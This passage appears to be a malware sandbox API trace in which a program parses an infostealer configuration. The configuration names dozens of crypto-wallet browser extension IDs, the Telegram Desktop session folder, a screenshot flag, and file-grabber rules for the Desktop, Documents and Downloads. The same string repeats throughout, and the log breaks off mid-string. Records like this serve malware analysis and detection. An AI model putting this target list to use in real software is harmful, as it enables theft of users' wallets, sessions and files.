Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.205] lstrlenW (lpString="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2750 [0260.205] LocalAlloc (uFlags=0x40, uBytes=0x15fc) returned 0x6bd7b8 [0260.205] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.205] LocalFree (hMem=0x6bd7b8) returned 0x0 [0260.208] StrStrW (lpFirst="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.208] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.208] LocalFree (hMem=0x6b9720) returned 0x0 [0260.212] LocalFree (hMem=0x6baca8) returned 0x0 [0260.213] LocalFree (hMem=0x6bc230) returned 0x0 [0260.574] StrStrW (lpFirst="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.574] lstrlenW (lpString="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2680 [0260.574] lstrlenW (lpString="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2680 [0260.575] LocalAlloc (uFlags=0x40, uBytes=0x14f0) returned 0x6b9720 [0260.575] lstrlenW (lpString="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2680 [0260.575] LocalAlloc (uFlags=0x40, uBytes=0x14f0) returned 0x6bac18 [0260.575] lstrlenW (lpString="ews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension 